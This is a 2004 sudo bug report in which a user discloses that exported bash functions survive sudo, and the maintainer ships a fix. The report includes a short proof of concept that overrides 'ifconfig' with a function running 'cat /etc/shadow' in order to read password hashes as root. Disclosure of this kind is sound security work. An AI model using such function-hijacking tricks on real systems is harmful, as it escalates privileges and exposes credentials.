Bug 157 - exported bash functions carried through sudo
exported bash functions carried through sudo
Status: RESOLVED FIXED
Product: Sudo
Classification: Unclassified
Component: Sudo
1.6.8
PC Linux
: high security
Assigned To: Todd C. Miller
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2004-11-10 23:16 MST by Liam Helmer
Modified: 2004-11-11 18:13 MST (History)
1 user (show)

See Also:


Attachments
Patch to strip exported bash functions from the environment. (1.30 KB, patch)
2004-11-11 09:22 MST, Todd C. Miller
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Liam Helmer 2004-11-10 23:16:08 MST
When you run sudo, and the function being run is in bash, any functions that
were exported as the original user are carried over to the new shell. This means
that if a bash shell has any unresolved commands (such as "grep", or ifconfig)
those commands could be circumvented to do something else by inserting a shell
function. Trivial example:

Make a bash script as root, and set to excecutable (we'll call it /sbin/testscript):
--
#/bin/bash
ifconfig -a
--

Then, as a user, type the following on the commandline:
---
function ifconfig () {
 cat /etc/shadow
}
export -f ifconfig
----
then, run the script with sudo
----
sudo /sbin/testscript

--------

environment:
linux 2.6.8.1
StrongBox Linux (gentoo variant)
bash 2.0.5b
glibc 2.3.4 (gentoo patches)
Comment 1 Liam Helmer 2004-11-10 23:17:00 MST
additional comment:

works on 1.6.8-p1 and 1.6.8-p5
Comment 2 Todd C. Miller 2004-11-11 09:22:37 MST
Created attachment 32 [details]
Patch to strip exported bash functions from the environment.
Comment 3 Todd C. Miller 2004-11-11 09:23:19 MST
Something like the patch attached to this bug will be present in the next sudo release.
Comment 4 Liam Helmer 2004-11-11 12:26:43 MST
That was quick ;)

Quick testing on this end shows the patch working fine... I'll keep an eye on
things and let you know if there's anything else.
Are there other formats for other shells to export functions that we should be
hunting for too? I know that many of them don't do this, but, might be worth a
check.

Cheers,
Liam